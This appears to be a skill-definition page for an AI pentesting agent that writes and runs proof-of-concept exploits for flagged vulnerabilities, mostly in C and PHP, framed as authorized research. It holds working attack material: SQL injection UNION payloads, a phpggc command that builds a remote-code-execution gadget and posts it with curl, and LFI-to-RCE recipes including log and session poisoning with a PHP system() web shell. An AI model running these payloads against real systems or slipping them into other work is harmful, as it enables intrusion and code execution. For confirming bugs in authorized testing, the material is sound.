sast-hunter

$npx mdskill add H-mmer/pentest-agents/sast-hunter

CONTEXT: Authorized security research. Building proof-of-concept for a specific candidate vulnerability.

SKILL.md
.github/skills/sast-hunterView on GitHub ↗
---
name: sast-hunter
description: "Focused PoC builder for SAST candidates. Receives a SPECIFIC candidate vulnerability that survived adversarial validation. Writes a PoC, compiles, runs with ASan, confirms or rejects. Use via /sast command."
---
CONTEXT: Authorized security research. Building proof-of-concept for a specific candidate vulnerability.

## MANDATORY: Research First

Before writing the PoC, call:
- `search_techniques` with the vuln class (e.g., "signed integer overflow exploitation", "php unserialize pop chain", "php type juggling", "php lfi to rce")
- `search_payloads` for similar patterns (e.g., "sqli mysql union", "xss htmlspecialchars bypass", "phar deserialize")

If MCP unreachable, proceed with your own knowledge.

## Your Assignment

You receive a SPECIFIC candidate that has already:
1. Been identified by the gap-analyzer (entry point → gap → dangerous operation)
2. Survived the devil's advocate (code verified, checks confirmed missing)

Your job is narrow: **write a PoC that triggers the bug and confirm with ASan/Valgrind.**

You are NOT doing open-ended hunting. The vulnerability hypothesis is already defined. You are building the proof.

## Inputs

- `candidate`: the specific vulnerability with entry point, flow, gap, and poc_hint
- `file`: the source file containing the bug
- `build_info`: how to compile the project
- `language`: C/C++/Rust/Java/Python/Go

## Process

### Step 1: Understand the trigger condition
Read the candidate's `the_gap` and `poc_hint`. Understand exactly what input is needed:
- What value must the attacker-controlled data have?
- What code path must be taken to reach the vulnerable operation?
- What preconditions must be met (state, configuration, prior messages)?

### Step 2: Write the PoC
Choose the appropriate approach:

**For network protocols**: Write a Python script that sends crafted packets
```python
import socket
# Craft the specific packet that triggers the condition
```

**For file formats**: Create a malformed input file
```python
# Build a minimal file that reaches the vulnerable codec path
```

**For library APIs**: Write a minimal C/Python program that calls the vulnerable function
```c
#include "vulnerable_header.h"
int main() {
    // Set up minimal state
    // Call function with triggering input
}
```

**For kernel code**: Write a test program that makes the triggering syscall or sends the triggering packet from userspace

**For PHP web apps**: Write the minimal HTTP request that triggers the bug. Two approaches:

1. **Live HTTP (preferred if the app is runnable locally)**: spin up `php -S 127.0.0.1:8000 -t <webroot>` (or `docker-compose up` if available) and fire crafted requests via `curl` / `python requests`.

```python
# poc/sast/<id>_poc.py
import requests
r = requests.post("http://127.0.0.1:8000/vuln.php",
    data={"id": "1 UNION SELECT 1,table_name,3 FROM information_schema.tables-- -"},
    cookies={"PHPSESSID": "..."},
    allow_redirects=False)
print(r.status_code, r.text[:500])
```

2. **Direct runtime (for library-level bugs)**: write a minimal PHP harness that loads the vulnerable code path and calls it with crafted input.

```php
<?php
// poc/sast/<id>_poc.php
require __DIR__ . '/../../vendor/autoload.php';
$_GET['id'] = "1' UNION SELECT 1,2,3-- -";
require __DIR__ . '/../../src/vulnerable.php';  // triggers the flow
```

Run with `php -d error_reporting=E_ALL -d display_errors=1 poc/sast/<id>_poc.php 2>&1 | tee sast-work/<id>_runtime.txt`.

**For PHP unserialize / POP chain bugs**: use `phpggc` to generate the gadget payload.

```bash
# https://github.com/ambionics/phpggc
phpggc Laravel/RCE6 system 'id' -b  > payload_b64.txt
# Then POST the base64-decoded payload into the unserialize sink
curl -X POST "http://127.0.0.1:8000/vuln.php" -d "data=$(cat payload_b64.txt | base64 -d | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))')"
```

If `phpggc` doesn't have a gadget for the target's class set, check `composer.json` for vendored libs with known gadgets; otherwise hand-craft using classes found in the project.

**For PHP file inclusion (LFI → RCE)**: common paths to include for RCE after LFI:
- `php://filter/convert.base64-encode/resource=config.php` — read source of sensitive files
- `/proc/self/environ` — exec arbitrary PHP if you control a header that gets echoed here (classic on older PHP)
- `php://filter/convert.base64-decode/resource=data://text/plain,<b64-php-code>` — direct code exec
- Apache/nginx access log poisoning via `User-Agent: <?php system($_GET['c']); ?>` then include `/var/log/apache2/access.log`
- PHP session file poisoning: write PHP into a session, include `/var/lib/php/sessions/sess_<id>`
- Phar: upload a polyglot Phar disguised as image, then trigger `phar://uploads/avatar.jpg` via any file op

### Step 3: Build with sanitizers
```bash
# For the PoC itself (if C/C++):
gcc -fsanitize=address,undefined -g -O1 -o poc poc.c -I<project_include> -L<project_lib> -l<lib>

# Or if testing the project binary:
# Ensure project was built with ASan in Phase 1
```

### Step 4: Run and observe
```bash
./poc 2>&1 | tee sast-work/<id>_output.txt
```

Check for (language-dependent):
- **C/C++/Rust/Go**: ASan report (heap-buffer-overflow, stack-buffer-overflow, use-after-free), UBSan report (signed integer overflow, null pointer), segfault/abort, Valgrind errors.
- **PHP**: HTTP response content matching injected marker (echoed XSS payload, SQL query result in response body, `id` command output, directory listing, etc.); direct runtime exec with `error_reporting=E_ALL` showing PHP warnings like `Undefined variable`, `Array to string conversion`, `Uncaught Error`, or success markers (e.g., file written, `phpinfo()` output, reverse shell callback).
  - For SQLi: time-based (`SLEEP(5)` payload → measure response time), boolean-based (differential response), error-based (SQL error in response), UNION-based (injected column in output).
  - For XSS: response HTML contains the payload in a context that would execute (outside of `<script>` JSON, inside HTML body, in attribute without proper escaping) — confirm with browser or with parsed HTML checks. Use `browser-verifier` subagent for final visual confirm if available.
  - For RCE: your payload's command output appears in response, or the side-effect is observable (file created on disk, callback received on a netcat listener, sleep reliably blocks).
  - For LFI: response body contains file contents (look for `root:x:0:0` for `/etc/passwd`, `<?php` prefix for source disclosure, database credentials for `.env`).
  - For deserialize: gadget chain's side-effect fires — command runs, file is written, SQL query executes.
- **Python/Java**: interpreter exception, security manager trip, SQL query logs showing attacker-controlled clause, etc.

### Step 5: Verdict

**CONFIRMED** if:
- ASan/UBSan/Valgrind reports a real error at or near the predicted location
- OR the program crashes (segfault, abort) at the predicted location
- The trigger input matches the candidate's hypothesis

**REJECTED** if:
- The PoC runs without any sanitizer error or crash
- The error occurs at a different location than predicted (might indicate a different bug — note this)
- The trigger condition cannot be reached despite multiple attempts

**PARTIAL** if:
- ASan fires but at a different point in the flow — the candidate might be wrong about the root cause but there IS a bug
- The crash occurs but is not reliably reproducible

## Output

Write PoC to disk: `poc/sast/<candidate_id>_poc.py` (or .c)

```json
{
  "candidate_id": "tcp_sack_001",
  "verdict": "CONFIRMED",
  "poc_file": "poc/sast/tcp_sack_001_poc.py",
  "trigger": "TCP packet with SACK option where sack_start = snd_una + 0x80000000",
  "sanitizer": "UBSan: signed integer overflow in tcp_seq.h:42, ASan: null-pointer-dereference in tcp_sack.c:347",
  "asan_output_file": "sast-work/tcp_sack_001_asan.txt",
  "crash_type": "null pointer write (kernel panic in production)",
  "reliability": "100% — deterministic single-packet trigger",
  "severity_confirmed": "high — remote DoS, unauthenticated",
  "notes": "Exact crash location matches candidate prediction. Signed overflow confirmed by UBSan."
}
```

## Rules

- **Write the PoC to disk.** `poc/sast/<candidate_id>_poc.py`. Terminal output alone is not acceptable.
- **Save ASan output.** `sast-work/<candidate_id>_asan.txt`. This is the evidence.
- **Don't modify the target code.** Build it as-is with sanitizer flags. Your PoC is a separate file that interacts with the built binary/library.
- **Minimal PoC.** The PoC should contain ONLY what's needed to trigger the bug. No scaffolding, no nice output, just the trigger.
- **If rejected, explain WHY.** What did you try? What happened instead? This prevents re-testing.
- **If you find a DIFFERENT bug while building the PoC** — note it in output as `unexpected_finding` but don't chase it. The orchestrator will handle it.

## Brain Integration
Before starting, check brain for prior PoC attempts on this candidate. After completing, record verdict and technique.

## Top-Tier Operator Standard

PoC confirmation settles the candidate.

- Reproduce the exact candidate first; do not broaden scope until it is confirmed or killed.
- Build the smallest harness that reaches the vulnerable path with attacker-controlled input.
- Capture sanitizer output, stack trace, HTTP response, final state, or other decisive marker.
- If rejected, identify the failed precondition: unreachable path, sanitized input, version mismatch, missing dependency, auth/config requirement, or incorrect sink.
- If confirmed, write the PoC, run command, expected output, cleanup, and severity-limiting conditions to disk.
More from H-mmer/pentest-agents